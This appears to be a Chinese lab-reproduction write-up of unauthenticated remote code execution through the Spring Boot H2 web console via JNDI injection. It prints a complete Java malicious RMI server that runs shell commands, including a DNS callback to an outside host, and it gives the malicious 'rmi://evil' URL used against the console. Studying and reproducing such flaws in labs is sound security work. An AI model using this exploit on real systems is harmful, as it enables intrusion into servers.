H2 数据库 Web 控制台未授权访问

H2 数据库 Web 控制台未授权访问

H2 数据库是 Java 中的嵌入式内存数据库。带有 h2 数据库的 Springboot 带有一个 web 管理页面,如果您设置以下选项,则该页面没有身份验证:

1
2
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

该管理页面支持使用JNDI加载JDBC驱动,可以通过远程类加载实现远程代码执行。

参考:

漏洞复现

启动容器后,spring-boot正在监听http://192.168.44.132:8080,管理页面http://192.168.44.132:8080/h2-console/默认。

参考*在 Java 中利用 JNDI 注入*,我们应该在 Java 8u191 之后使用org.apache.naming.factory.BeanFactoryjavax.el.ELProcessor启动外部进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

只需使用此工具*JNDI*即可利用该漏洞。首先,在config.properties将目标命令设置为touch /tmp/success

image-20210811144412433

然后开始JNDI-1.0-all.jar,就是会听0.0.0.0:23456。根据以下信息填写表格:

image-20210811145426248

javax.naming.InitialContext是 JNDI 工厂类名,URLrmi://evil:23456/BypassByEL是恶意的 RMI 地址。

Evil RMI 服务器收到请求:

image-20210811150116259

touch /tmp/success 已经成功执行:

image-20210811150130834

0%